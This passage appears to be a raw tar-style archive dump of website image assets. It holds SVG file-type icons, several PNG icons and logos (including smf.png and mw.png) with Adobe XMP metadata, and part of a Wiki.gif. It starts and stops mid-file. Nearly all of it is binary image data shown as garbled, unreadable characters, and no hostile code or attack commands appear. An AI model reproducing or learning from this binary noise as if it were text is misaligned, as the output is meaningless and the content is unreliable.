fill="#888888"><path d="M80 0H0v160h120V40L80 0zm-30 110-10 10-30-30 30-30 10 10-20 20 20 20zm30 10-10-10 20-20-20-20 10-10 30 30-30 30zm0-80V10l30 30h-30z"/></svg>media/text.png000064400000000274151024353260007321 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��f^IDAT(��б�0C��2HF��^&�x4*�^#�	;SR
0�Y�����R�,�HAA�f	F
z��3�m���g�ov��LG��P�KIEND�B`�media/spreadsheet.png000064400000000274151024353260010644 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��f^IDAT(��ͱ
� DQ+]�H
C�L�a4|��WE�\c��ˢϪ�^Ff��ӻ�B83�HA�@�@�@�@�(`Q�"�Mc�����%�YGX˪���IEND�B`�media/text.svg000064400000000431151024353260007327 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zM10 10h60v10H10V10zm0 20h60v10H10V30zm60 90H10v-10h60v10zm40-20H10v-10h100v10zm0-20H10v-10h100v10zm0-20H10v-10h100v10zm-30-20V10l30 30h-30z"/></svg>media/default.png000064400000000250151024353260007753 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��fJIDAT(S��1
�0E��lbH��0��1�.m�d�m�x�$}i��d� ވ����BV"ڃx#V��?77��J�󜏥=�IEND�B`�media/interactive.png000064400000000477151024353260010657 0ustar00�PNG


IHDR0@��u*PLTE������������������������������������������q�[�tRNS@��f�IDAT8����
AA��#
���pP%�(�Ԡ��d�ۑ}3�=H,1��w6���ű0�+�\b��5����i�@�x�����U�@�@x&��2S���]�t
n��!�)s�=Ȯ�0�!t��+�o<��+*��C�O�#���8�ƊN�t �P�C8BЁ�I�䈨dKr����
^�S�D)IEND�B`�media/archive.svg000064400000000607151024353260007771 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M120 40v120H0V0h80l40 40zm-40 0h30l-30-30v30zM40 15v20l18-10-18-10zm0 30v20l18-10-18-10zm0 30v20l18-10-18-10zm30 35v-20l-18 10 18 10zm0-30v-20l-18 10 18 10zm0-30V30l-18 10 18 10zm-25 57s-4 20-5 27 7 16 15 16 16-7 15-16c-1-4-5-16-5-16l-20-11z"/><circle cx="55" cy="134" r="8"/></svg>media/audio.png000064400000000576151024353260007443 0ustar00�PNG


IHDR0@yK��tRNS�[�"�7IDATH��տK�P�!�C-Z��vp1���hu
"*�.�ıJ������3ywAP��v��!\.5��!�U3J
 �� �	4@�T��`���`)�@6X
>HE	���S����.Ի�7� ���v.�If'�`�bt����ҁ�$�=D�۳�$�w�&p{�:��v���q:�%�Q�b�r2
F���.5C5ߜ��r���>�_	��觹 ��V�/��Y�Š+ǹ@���tr������˯rK<#���*�|;|�˰�����d�q�Q�*�K��ui�V�IEND�B`�logo.png000064400000012717151026516510006224 0ustar00�PNG


IHDR�<��|ltEXtSoftwareAdobe ImageReadyq�e<,PLTE�����ѐ�������������SY^�����ʱ�Ӌ���]3�a4��ՙ��������1<H�������l���ó�������qP����ٔ���������������ˑ�������ᨾϭ�ϻ�՗�����8BL��������������۲����鮼����׺������������腠����~����ܝ�������왪����fnv�����������䡨���“��������������������������ᝠ�������v|������䠱ʥ�����a.���UvB9IDATx��y[�̲��d�$B��bQP�����A3�
Èی����Vu'���s��>�԰t����WU�4>����	���%s�7�'/��w|?�T��	-��{�)���H˻���.��F4��)���Z��^�)ty�l�%-t��'f8�u`����Z�a+t���M��c~Gx����f3%��D��a)��uS=�O	�S~���J����R|w�a��Π�s�Ǐ۔�f���z��Mx�z����I�B�R�;���&�z{�K�J��R_�����wm�p
�U�`����	2�v0���|7���	�0X���{g�� 0� o���&�m�B?����p��0ʏ�� x|��K�;��F77���<�Zb�9���#x�w��/Hp�C�oV����>��B_���w��ԣ	�c�~��Y������X���p	�<�?_A稸���;�^�{aV�$;���|~���%<o=T��:�\�Ш����/�ȼ�cwڷ��k	ssJ�ک���rx��L�oe�~0�b^�p�г�~��aq��"Z��VV��c���A��ԙ�iB��
��^���p��D���M4��W�n~��SR7!�u��5�g
����RL�ɔ�1�n��bze�c�淃���_U�0�f��	-����t��d�̟�L#"����i�*}�gB�L�h�E�Jz��a���M�L����V:d֋!@�Xa��?���$�uke�uu��tk��.o���&&����b�"��d���ӽ֛ml+k2!̳*S��6���E�	�6U��;M뚌���gp�^��oM�ق��q���UӍ"���&v��yWz���S	�J[�(ʀa�N`2�5��V�U^�Σ%,�2�iKU����ŷ��he�[�D�7�~��jYi���-r��0!�V(RMn�����?G���Su)Ĭ�ڪ�K�����Y�I ���o;ٶ.Ɠ�`Z�*��4�4�៘C�jz��|,�9�T+V��
�UZ\).��U���t�j�*
U�ļ�m����OW�FE�.�*�$�E��g�PX�P�Cf�6S���^�
I��
?����u�谑#h�%�.D�Tɲ$Ir����҃��"�6	��K��N�R���i����IrFIj�RA���6@�a�gU�i
���Zy��E0��k��f���E%G&��@�����%9�xJ�&�T+V�p�x����4�� �-
4�����˱4Ғ�Q�pT������+Rfe<KF��K)�4{� _�_�8�􌥠����f|���Fj���A���q��C���ߒ��FC2�~#
3�ސ��o�d�A~�3���P1��E���V�^��1��T]%��E�Y��LH�!J���p��+��H�Z��ޏ�h=쇖e��F-�\��:Ũ�F�Ґ��B�����h-�o������~�8nJ�
h��
0���%��&�M����0��N�7�]@"!�K4�tI�40.Y�tPvc�<��oϕ�Yѯ��_y~՝���П�^w�Ut�U��7���ٯ�̘W�^�w�7�u$�/�k��HޥU���@
���ډR����:	�.傠3aO��@�bc���x6ƽKp��0`�a�b�:6q`fF�/#C�
5tCb�������c�����Ǹ����U�*�2�-҈��+ޮJ�n��׻ߎ��u��U�>�:��+��ۦ̺�p8h���9ݟ��G��_=����p�ŕGk�$]��7~XD&�h��a�aV���!2��طKȬu#��w[��d�V���gk	hM�Ȫ���oW���O��պW߾�ZS%?���I<�����Ǖ��-��}��1�k�7[�Ob"��ɳ��p��m�9nB�f�xη�I��:z��6�T�#%|Ɣrg�E	9��M@nTs%��[�9�ӍVS;$�T���
����R�P�b�hpd ��_!ϼV(���$&J�aM"d,,XU!*�	����~~6��/��ݻ�^'I%@m�3��m���A=��[.���8J����nE�#��aG���|�CWO1�d�q2\h溤��!�H��&�y�-�D����t�Vsǂ���o޵\��6Iy*���pz�0ニt#�|F���m�� V�Ρ�vk�$Q�&�Di=1o�.�ۭQ�υ��0�K�x��x�_�Z�|���m&%U��3vH�B3��g���".a��ˋ�
7�h�f�%�X���F������D
B��u��9G�d{���NKÅ���F��BK�<f�S���k�G��p�@1��0o�;yo#��m�8�1���yUhE�9��z��WtQŌ�m>��7�/��yI�s�@jnW����,r�$8[Kb1'��^,N�>�z�L.���K��[�^�p��z�9�8����u�Gn��0i�B~b>�x�Ć��0B�� ; kq-X	�@.q�E��s6J�4�=�H�y	�K�L��I�=�e��Dc�t����>٭8���6�#I~d%1
�̀����,qrb����
����4ό�DR5[-F�o���yѫ���23"e��EC#��/
�#k�HKhX� �(2��q�Q�/>���<��D����"��f�0��o�g�$�
��삜�h�� ��GS��Éz�Co^�����z�:�z$�tM��a.tE�_�ͳ�̉-�i=ow�p$5om.��g�0�X��c
|0��v���=�⍽?��َ9���
m[L��4�a�l�o���t�ro3A�-Fq��m�a�����i�DU5��G��̯��y6]RnH�_`.���`�{�뭳n����(��Go�G��rÌ~{���(��~���E��aޮh/�6f�w,q��I1,�}����,e��8�,͉���3��\���Cv�a���3$y��K���N�S(�f��ӂZ���㙏���aKg��!}Z�ǰ�Y̷��];�5�f�OoS�Wd5��{
�[
�Y��L��E���9��m,hWl�����G�5�.:̩+�A�w5���;|�L��֚�g��N� ���y^Ol���LS��C���}B;��A �YIœ��s�1:�����v���v��žr�d'�a��&gx��E�f9�p�O$��]�8��s�g]׮)n��	-���!�C��m�P���|����T/{&�*��aV�!��0q��̦%�Y2K�%D�"Z"���VŞ��a�x��;�w�gS�Y��N�n��%��>�e_^|���r�ڤ���qL6/ع1>�hb�h�ʳ�a^��7��y|MS���eќR҅0��~V��o�L6G������D�Sm#I����EY���K�������0�~Q�;��P·����9_҃i��8�P��8-�|I3����y�&ϸI+-��9��^V���¥rK���T�/,d&{��2O�댋�H��!g��D6�[wS[�1�tzCO��=�������_����F1&�2��y����9�R/��3n�(�x��y^E��/�	JIq�E�Ї���5�dZ���me*�
���3����R��y��0�.��Ik[�M�_Kk���rY`��Lj[��B;�$����9Sf�^����ҙDZu,
�W������u2�1��M�1��۳��F�$~W�-��H�aQ��3%�aQ(�	�L�|(
��L���	�L��"2�*S�Z=��q�ou�c�ƍ)ĩiZo�ꇨta�Ţ�(�(
���+���Lj�Z*ӦyĹsw�Ta�ag��Lg�7���i�?���/���
�?@�2SX3�J�����%���<e�9���Y_�=-��A�撵WY�3�/;}�c^�n���N��T�Vdَ���h<e�Y�����_R����������Xk�d�TJJv������(����e��<�h+�ly	�f����i*�k�bg�š��.�3��X�aYV�������i��vX�<�w�O�e��)�l��v:��d����<�A��|�`�Ƒ���e��g�vNa�~f��&�:��5,:e;�2,�d@��2r&����2:�9��p�\.�S��L���?��0��2L���I6S>�+p�?��j�d�f�߯��`�'�szuz}Z��0����t�3���ӫ�S0˓_�^�)2��M3�
6����\�]�ag�i
��#�(�B܏�O��~AK��4ì֎䓃Y�|��j,�F|:8�13�c�R��v�#y@d0<B|�,�+�3X��ְ	��,d�|��#���0������=�����
�SfIk�i�>2�n�andp��|�Oq�:�!�(��P/0ɎK|;**��ƾn��[OGZdlF>ZKm=��u�w
<�e����{s��w�f�7!v`w�ĪS����e���q�
��f6|Td�&��W-�o���N�0C��;eb�6nNN�dv��2�2�mŒ�!�N��]���ν��z��w	ā�]����L�H�(��~�g��;��a�	�\����4���
���(���2�1B3��ϲ�j�2g2T�q[A�
�<�����4�\����0i��-���P��#l��U#�v���!g��W��z>�>!V�g,Io6��3�	a�d�C׮�vw�v�j��3�3�����f4�2��ON�.�ej{d
$��ό����G��v��e��V��|��I�F��2���@Y�đ0�j��5d��*0��=Ҫ�x ���X�|�驆!ڥ}d����.m����u����ÍF�B�9	��ʆ�a���<:q��
n��HvcyBKVap���u�F}���k�'�{r��>\�e�[���v|p�渆��$�57���)�u�לH�.�+A���P
LEvF�8s��<�'f���I>�Ԟ<A�k��d>8�+s�e&u|D�k�̏j4$�sfͼ����W̰Ob3�Y�c�\s3w@2��i�1<p���+ȵ��7�O5g����'D�?��?Q�FC[��Ƽ��^��
Լ�vQ��>����0�kG�Fp��IEND�B`�smf.png000064400000010242151026516510006040 0ustar00�PNG


IHDR����tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:F77F1174072068119C12FCC73F11446E" xmpMM:DocumentID="xmp.did:35AC5CA83C5811E1BA23FEBD28A18C72" xmpMM:InstanceID="xmp.iid:35AC5CA73C5811E1BA23FEBD28A18C72" xmp:CreatorTool="Adobe Photoshop CS3 Windows"> <xmpMM:DerivedFrom stRef:instanceID="uuid:E4863C18F363E0119D32EF86A948A1BE" stRef:documentID="uuid:3F5C70133675DF11B15CC75C6508867B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Lº,PLTE���������~��ILP��ـ����������ʹ����������Б��������z��gnx678������$&'������҈�������Բ�Ȱ�Ɠ��������s|������䦲�^dl������TY_���������ADH��������·�������ˌ��������������9;>���124������*+,���������!"#��ׁ�����������������BBB	
/// ���������>>>�����������������~��}�����Rn�dtRNS���������������������������������������������������������������������������������������������������&�m=
�IDATx���
[���SQ�MS�d�-"q�k����9��4W���{���i��:���K§�9�a�B��qh��Z�ַ��
�~�AOxV�7�C���׺��8��`[DŽ���ӀP<�5��h4BA+=�y�w�Ƌ1"i]�'#!/�H{C��Az���2"÷�JV.V
!�i>HC���%���2��]��@�K�ow7hՁ�;df=����T������6���uw���hD7	NȊ��?�"���$wBȻ��l���M��?����YE�dw��c���v�n����$�x�?h���g��?��=���C<p�+��~~_�c������������p�h�7�ye���H�@�@;qAh���=�m�0��j�\`EF/�W�
���n�_	��Q*����������q�8
Og��],~��D��t^��j��
����8��A�B9��+�����ňT�5�+;�z��ڙ�� ���9%ā��~�07١�A�k��1+I��Ӏ��ɖ}?/�"UN�����|�b�(�ڂ�n���{�b���Ĉ��HBZ�#	O%&v���-���o�3��Q�q�`J���P� ��h+1\|�$Lo�K��c1�we]4�$%IB���}�ݼ%����N�Z��#^�%����G/��[U/�w1�X�V�iL����p�:3]N��t�1\�G��ƺ�T�ٖȲL]Nv��u���qom���V-
X�6xR�(ֹo���M�M�WN"�D)��f�c�n(���s�����8�(s�ЏwY��p��Ä�<3WC���x����L��s�wX7��˲��m���^����J<����)~�R(7��&)J<�ݧ��Km��>�pR�ɆL	�r��}�gm)L8�rϹ��%S/�����i�;6�A�a�2W+h�A
�B�u1L>3�&A�R]K���q;�l� 9��T�f��xWMAg�Z�J�"{~��i�͕T�E�v;�*Y�.�-N��,����t�F`�(���9"e�,���̽�R���F������vK9�"�6xb���\��j���|6�Gߣ%�b��՞�e�ݢ���֠�jU6����l�����h�Z-��UE�x���4<�
�@T��l�2�r��X���Y]�s>E�̔Z�d������fX.�ف!W^N���V��d��Zk4�wT5
�e�.��ҝ��`���l��>�8�z��Ey^=b�/~�u��^�z��0U�iM
��A�K-� 8|w����EC�3XxFL&���x�rݧٮ�$\3�ܖ�+x�>X\�[&5dG�g��;��BV�n����V9_!��&��_0���P'A��N�t'nH��UO�����|с��񖯎)��̏��p��Jnt~�q-e=<�+R�f�~M�|�b��z=-���e幂WjV:���?�J��z~)����&����z�oH1<o�ͳc��J�s�V��\@���'�P\�W��R�n�⸉�Ƕ�Ѭ']��Q�C(�:�V�z�=1��5�~�Yi�B��
z��f��ڔ�v;(ڼ�����aE����}?V�+�奷��i�+[i6+iW��2b�v;Oqqٜ@Umo0#:��ͯ}�y�)'���X�W(T�P�n��x��ۍvT:�psU�-3R�Y��
g4kv])]�k�~����b�F���2b���%���+��6@��U�.r:dغ8����5�S����@�7E�a�He�3�K��"‰T�H��}c�nۯ
T{kf���+��V��h���i��EƳV~]`�7��6�4�nX9|T�����"��Z���R��kat���,��M��DA:'��N���>2考e�U���z��z�*x��"���2�P2
k������w�ť�����z�lQ�w9�F}�G^��%���_ߏ;J߷�^��� 98������κi�T`T��<��T��2��a(ۻ]:�eR�Fw���X��~2>��rC��TX^]2p��U��4%�=����A�4����?����~��\�Թ4%��2��>c���E~m���0��,����j�FNzO�:2�V\.P�[�p�ߌ�0�*N�
��1�!�YE��\�h=���N��Tx��c��p���U
ik������v8#K���I\��=F�����Ƞ��ǚ?�t�l�G}��A�=p�1�?8�K?ԥ{�\ҴO����?Mg���p�C���t��#-�t���Vs�)�"@����S���շnt"�^�<Џ/A�ؑ�c���huN�������pq<O�u������ �B��K��k����/������<1��M�j���|[}a,�!�Q�Y�qz=U}C`�/��p	@��N��|?������)}_�t7n	N��r�rR$8�	`�Cpl�M�r�Cn3��{v�8@2P�GA��~Y��]E��|Hn�A�g��tI�9F�?����e��F>$�d��&�^RK؉~��"��Cb��(�5+$�r<����>>aެ8Ɠ��އ�=[��	����
��)„r�1~�q�-�����[�[Qr�|)4�{����'o@/��9�ڥ���}a��x���)f>�:��x�
:xe���
���U
5�g�����^|�]��_�?�i�jg�m!��O�U���F�IEND�B`�mw.png000064400000021422151027211600005671 0ustar00�PNG


IHDR����tEXtSoftwareAdobe ImageReadyq�e<,PLTE���\����뭎-��\���ҬMVl��v!��k��T��㦶���lҍ0��������i����ε(k��6�ͮ��ɲ0��7T�����͈��Ј��6��
��G����$�Ubc����Β��Y��G����6r�"C{�����-��sƾ���$�و�����
��M��U��7��F({�����E��6�����������$���<����
�����9�����"�گ��Z����歸�������桜�ߛ
���x��7�ޝ3���!u����������������������������k�w9dtRNS���������������������������������������������������������������������������������������������������&�m=!IDATx�̝	C��׶$�m��
��
"���*B�(�u)���ϙpk��>?Q2&�k��R���(_�����i��a�^�}���[��+��������(����Lj��|��ʈP��|?~|������|�l��i(}V>�P~F�O)�=}�b~��|O(��on��r�����_~g��p��w~��p�h�	������{z�zr9Hm���{�>�/�㟖'��{F�>O�����U�������%3�]��x�m�`}��?I�ηx2�[��������o	��'}y��Ώ�O.���Tvkkk:u&
��O�ߎ5����<:�V�9��Ij����R�o�KO�����ڷ^�g����V���O�߶(�	��<I?�<^�Mm�������\WR���9^"b輧���?k�Iz�s���D���V
NNC����#�b֞����m��B���d�,;'�NRYhv4y4�խ�iS1V�1��~�KM𼫞�hr��J�G��>��Vt��*�W�~O>r��?|��1$��B�I<`p���4)�p=��FD����W�VW>l�G>�a�Wɰ`�����l������Y��ƒƒ$!��.O�S[Gl����g	drr+��W�,a
D`�y������j(C~��Qz�c�v�l��/&��P�1����W
�J?�G��U�Y��>��
A������s����k�Tdu"��?��.x��	�e��MgS[�x��)]U=K1��Ѧ2�������);�V��
݄���,[�oR��CN:���DN�����R��ؑȄ��x��$������^(�)ag���A����V�|�:dB��C��G��2�D�F�H����;o{��L0$�6)�=��MR.	'�&	2{����|^��J	Ӵ��|��_U>�e����J�85=5MJ��2N
><�&��o�ؚ|��Ӵ�V��h�^�z�@]�SSh��\�����kpm�~�CH89��L�Y�O=7�(Y�&/�E͎��,��~Н-������a���a'm0-�;���Kj��.��eؘЦL@�c�=����Ԃ�<���4�������Cub�21,�d�������e�t@�6��b4!�`��bة�6߉�i	Ӑguoϕ��7N�&6��3kx滘��WǐQ�E4>}0`�s�S#Ll���5ȁ4F9��;��5�R��aC:7����w_��U��m��8�Y����+�,��>}�_I�Nm��ċ��l�lVh�Pq:�-wˬtJ�T)8fnC��'V�]��{���0���^,r�nOm&��Wp����p�TB�>WO1#��bT�%[�B��tӤ�'U�ժ!��F����G
R��A���@ו�<�3�se��$��"��
Z�n��������}B�'>�X^!#O1��L�"X#w��
B�:�1a�@7rd߄"�C�0�d�.�0iNt�X�w�����p�Xq���r����}z�r�@��8�h �e:�qq�97���'�ɉ �з�����玛��g0�z��`�}�U��f;��ќ�?P��Ȁ+��l�+���o��|����S^6�Y&��,O���٩�|p�b�v"@����h�&������h� ���𤳳LL$7��3�ΒpC ���V�R�TZ�7�"L��m�� ��z����[�	��*��@��K�Tqyrv6���o��Y�����3i�N�R\)��D ���d��VF��t�'wqsS�{�����'�JA���M,��^�t�f����/�#���X���lj�DP��1�."yGn/���L����(��—���
�|04��*γ˓S/
�6�-������R$��������ݞ&���;����<+�f0_6��P�4��� ��N]�g<�����͗���_<��)�v/��4���`<��#��E �������ڛ��<-F>�M�/4�]8�ˢL�.����+��"E4��n���L�o��&Y�#��wQ�-����~B,�d?W��Ãp����h��IV��B��
���)�io��~�O(J%�M�F"lhȸ��������|���>�+��N�N/�UU����d�R��ٶDpp�@8؏�e��ng"�n:+�"+����	�;;&Z&4CAC�M@R�y�z��}I���L��,[���id1I�33�,(ogff����4"(��D"|%���d�/[�r�{U�P{Յ��R�ٔmv?���N�O�����fH@;@	��$!o��;8�xwPN��V���%S�! 
d�_*hj�$.[ηe{��)�vJ;�D"�C�ޢ0ܭ�J(J������p����|�
�Llt�>���|�q��_�y!�Y�mK��|k?H��Y�����?��(��`�P�w_*�WWW�8�&���������"�H:ʰ�(�-�*�@9؉�W�r{cC�6�(7�æ��)�N�,��z��Z.�嶜�cd��LA��*d��h�8���ǐ0�+��1��3_�<qs�n/�-if���m@-�>���Ij�"�?�����c�p�Dq���o�@/PE�����q�A�a;{W��l2��Jb�ڔ��8�C��X��Ă�X���e�x��;�8ZM�ڍ��%�d�9lx6��F�����ad�H�fB�;9���פ�z��q@:eݸ�$��m�$"���fHb�G��DhQ�
B>CJ����8����4vr;;��er^o.#/_(�����_*��иg��s�@ЊH�ޕ)�.p-����
�P���ᘐ���F.���d2 ��_n
�1���?$B�~_?�6��������E�������a��$�(�_\�Gl�b��DZ=D����{�I��Pp����Ƅ��a0Lē5�Ad�����#eی���b�X���A���B��o�T��Ȁ��ד��A��	(���>��4���61���`�upp�&?C=�f�&��(A�9n
޷S��)Q���-Q�p���L@㌖q�F	"e5�i���Ӏ|p�b���m�@F�����4"H��S�
ٓm�FY����1@�@F�^�P��z��d����S�p�ml�+�爰I��xL%~���i�-�ܻ��
�^+(���`LAZ�����aA���x� �7g��G���-|0@�\	�m��m����^���n�XC@���
k���9̴��SdC�P�m�b�%�iR�:Q`C@(�@#�m�Nn����e{RSh��Ar�b-a&`T^�g@=�n������R�ߗ�0#L�1m-�⣲���	�<�$,`���<�i(�0�7��J)���T4t#l�*xcTj�ۀ��W*��e(�lcV�|��^qr��[ҏpK�!��-���q<�<�)f�4�)���Y��'Ƥ5���Ļ�� �!���i���Pd�ߺ%\ @!��b��p��0ػ%��F,�#��fW Ax�>�Lhi]4�������o��!/�a�@��8FIƱ |� 	O�7Ȉ�Dz/� <-nv���<3�s}���*�.tu�
~_�B�%��^p�]��A�T�M�(a_$l��c�
W�E� ��,�_�'( E�v�4���(XՍJx�ׯAy'�[{s���L�H�����H2W�DZX#ֈCÜ��bj#���-4[����v%���%[ ��*�$��c����-�Ql����s&v��0F�q_�E�Wn�ބ���fk�%�}�Q,|P��R[Z�����Jx
��━�����X1�ǁ���B�	sqҐE���%0šUD5����� jNR�?S��]u���D"�ۋ�#�	���WBCS>!xf<�Ă'�]
_���D�FC.��bv���s�?�Tq��g|Q�+�|�@ ��xb��a!�(|p�4\��Xp���W���B"��#��="DA�wzS���U�|�D�չ��U�ף�@!P��}�K���ϷwX������!4$#�a>T]5Buܐ,@��@Æ���G�&�ei�[���
69�{z��q���t�d21�'A�t�+_~��İQr��`,TH8�DXg�PF��o7M�6mH	�˿�ՓA����{���L�h��;,���x�P(^]]Q���9�W�8FC��ð�PK��К%�G}��,��M�,'�{�+ր���a��8=���'�����X��	țH�
�+X9%�j���Mþ�'Q,��z�B��K_�֗l6�/O�B��鱯@�E�9`�0�0 0�U�~yO�D&<������-�;>hD�:8ۜ��C�
Q�����ZL7��@���.we�!�j�x�f�C��- �鋍1w�߉b�U�+f(+D��]��E�Ḃ��5��Q�PI'W���^H���D,��
-0"$�#Wl�XL�NlC��V��y
�&r��/cN�&>��B�D���$��|	8L�x���z0V/�Q,ц}i8f
G�k��oD�"FH]WM�m���z(�\���k(���ųͳ<�.�8aI:��* .��i#��l7ϤӒ�����2u8�%��sE=�̞����a��_�4m���D�0��W���\"��ʡ�S�y,q���ӒߛJ�V훮��>{I0�#�oZ� �!ZC
��Q���;}�P#�	|Q���#7���>�J�_�I&(9��_6L��F4EmO�L�0��s�l���1r���̄r�K0�<�Ø�"}���`Yk�}�K��x`�Q���ݭ��F.�{>�����q20��Ȅ>�������7*�İq4�kxC>�~��JL��Ϗ�
���D);�A�8�F�O-��p����h��b�M��ài�W��E&@0�J�$�R�u��
�͑�H3��X�����f�%��[��A�_��xl�KM�X!�S��7����z_�0�ׯ<�B=�AC^����K7&�IT˳f����&�KAc1�>ϋ��<m[/5]>ȷ���Iq�W�X#�q�	��3�>��DT�'��Bi�����k�+b��M�A_�j�
��A�(ka'UI�66ډ���P�aȋ|Lb	��G�!+=2��1LO4ٸ �ؚ)<��p�A(Ϸ�2�7���.�h����o"�ѩe
��:�%@\�\�c�|ׂ���~?��/�l�}�c4_�7e,����BpC��"�g�u?nel$��DWA���6���=�nUzg�;P�~�d�4;M�|Y�ף�4P�
+y8W�6��B��F8H���z�]򼜡�4h����6ʆ�ٮ2ޮ� ӈ��直��e�@�5#7�X݇��9O&���AQ�
�
&bú�!�b����Y۟�r�������aa�a���U!=$��qU�5��-I�o1!g�q�>[3߶7�uxa
z��
�C+$L�AH3܀b#�7ZI{�פ��ck+�	��C�E��@/�(}��BNB7�̸�
����v1�ra=��l�	/w\y�xY�e��Z0��m���w���y ڒ�p����@���T钻�IO.��ې3ur�v+Yte\9_�f�pAm��\��
����Z�ak��L�t�L�Hn'��XGe-�
�b�?��If\�Vΰ<�Qd#��y���0��U#�r���rY�v����6��_)Ȅ�}=�S�\��Q?�{���4�;�G^(J���Q,C0;
<�>W#��ezKUK�e����ҿ�*���L�EJ*��/�.����j�!�%�B�pȍ.W#��4S�ΔdR#��&�@�*�T����+ۓPP�6�»�,�F+nl�
_~�i��	_�r��Տ��S%�<�JRZ�l"�qZ�W�%I8��py�M���9�re�<�"��l�7$B$���!��fw�/��MDU)�U�K�7m.RPS@H^�Or�R��2�r&�sE��YR\�����U	�N�R��%���ǕI���Ӣ������?�r��+"M�\��F
�ёH�>���rIL�� ���c��]�~����G2"oWy�R\\�'6� ���4MiOKz��2���rD����"O����
�_5�l>H��N�GH��`�9��ƔL��1�h�ܤB�i�������~O�B���+�ǜf��`�W�t:�>0'	N;��@}kh~ޗ.x�P��t�bh�J�@y��q%[U�:-�2�$Uq�p�v�j
V��=��+����_�w�v�,������]�	��>)����kk���
o��L�!-#a��.����swv#�"U:8��͢%��Z��J֊emm7<�ߙn��k���wNvѝ�f�:?���a���R;9��ƙ�z"��Z18��-e�!k��)U=l���nv��,�pL�Vvq��%�m�a"��(4S�5:�s+��T}�ǘ�h�}9C;�ņe��[��@���3iP��-��G�� Q��Q�4��n'ܵ�M���h�:�ݚ�ތ�?`gk�c\A�`�SCo U*~��n*����R7,Z��n���+�j�V��+ܑ�I��Z�m�,��t��!�}�၏�eOu:�j�@a�Y�����w�p�b�t��~oPqZj��%�Q����)�a�Xe��z�t�~�^����=57�DQHAj�꦳�z�-n�6�Չ�܉b�^��#��Pzwv~��$�F_,|�
"(k�����U:5�����T)`���j��
S�ZZ��vg&�����Z�2��6�e�g
���p=y5nY�]��-tav�5j��$�d���	HR�<AB!*N�_"T�Ps+U��N�uR���y��ek�'Wt�r� �:�)���� .t��� ��VɈ�COI$K�ca?�0 ��-��,!#���;�22w�ڹc�!π�XA�]�s1�T����5���q@R�-�Tq�]��r�5�3���:U�V�`,+w���*5�fi�>�ˀ�PL��:�ㆂ[BQ����B��*��U}�O�-H���W�5�p���I)����
�7L�RD.�z7w�J����AG�l�qF�,���y��.
n�gi�U�\ޅH
`\��e��!c�0Đj��8-��-��a>��q)�CN(��ukv]<
,�aVs��tr$�g
�l�����jZl겤�9���oK��w�"��}��Q��Bc[^a�Yab�(�UU�
*?Sv"g�.�"y��lT�:n�@<��0*Hʺ�s���]d�Z�aLwS��
�9/��qt�v��Gl)dc]�
pg˰�[��*k���g�>:�U��9���$��+
�I�]N��X�
rhQP*�E��_���4�
`���##@wJ���A
hV���.}��}PS�D$#%Q(Xc�?W�J���m�fp�!���a����^�1وp8��K<��.a�45��������5keI�W�
v�ڬ�HZ�J��v)�L�d^$�5����D���H��V�F�]��4��X>��<��zL��W�%2l�)FU���pd�%�8k�!�n4�)U���~M(����5�
[���
3͈Y"�u���Ҍ� O=0t�BALA�5�kt�I�d�P~4ML�-���ԖjD,F��aa}P3���C`�Z>��HR�1�Ī�bɳP��}�_rvhvU�j��5Q�v�-��vSt�ғ�qb�e�Y��ꠂ�1�1@򇟩}m�2�/��Q*�m��cUW[�RU	�uEl\�L17׻:-ʺ�q�C^�Z��RW���x9�m=Ӭ��=rZ�U��<����.aq�. .��.��1�U矣�u�YOsӛ����q�Y_台�rC׻�Y[��Ci78��2V�ΖN�ℷ�Y�(�]mު�B�
�n׸o���͍� I�ɗt���(��~��Y��麪���	o�;����*^W�XsgT>�x�[컋3U㼱U��w�uPԩ�w�-��o��؞�il���}o�w������Uc������o�����g���{`�3��s���??`�[��Hg�({�W@�b�Ͽ|�ҷZM���$���X��Y��?��	��g0�I�Fr�9��h����!����<�V�;�q�'A��^�����q���+��)��%�������0�O�g#.qbJ�PIEND�B`�Wiki.gif000064400000027664151027211600006150 0ustar00GIF89a������(k�����������)�l��������g�MZj��]������v	�������̷SM��ͷ.��������`l���f���Ȱ�����.q����������������!��k��.���t��ź�ع��H${��LJٹʃ���7��������q��ʷم��/������M0Dbؖ��o˷	ik1��k����������y����M���y��p�J����������.Ҍ���ʥ�^ɬՓ!�
ٖ	-N���������̅
������$��Ŝ������籤������ۮڪ���֎ڤ������Ȗ
������܈r)�������'z������ׯx����������������~zO���)u�a���W�����������������������A���!��,��@�+	H����*\Ȱ�Ç#J�Hq���3j��1�����5�	�C�J!L\xШ��w򴡀�O��jvJ�(B��LJ*]`ذ���	(|�0ƁW��HТ���`��À&~
�ЂB��|�1A#�E�@!LJ1:��ҟ�68�I.VY(�a�f�8�k*�A���>�P��C��B�i����6$���ȯ`
�+g�d�	>|.\�i<���5:t<JH�ȱ4�ɇ6X��c�.6 0b�����/b�~��C&`�
�����D�IFF\�CM���W#<��t8qv00���!c��AA
)X�A'�@n����>N0"�"�G�
r49�~��Xd��bL�OL1C��G�}�E`�mVy��cl�D�aPZW����A
����}2�"��5�@�Q�j��?Lj%��Y�$`$���Dj�#�!�3@ફ_��j��Z1��:�
�S1�o������j:p�hD�g��顇|��A�"J(��"v1.��$0�@��6AIK9ȀAg�+�@�s�0B�B+3�A�el�
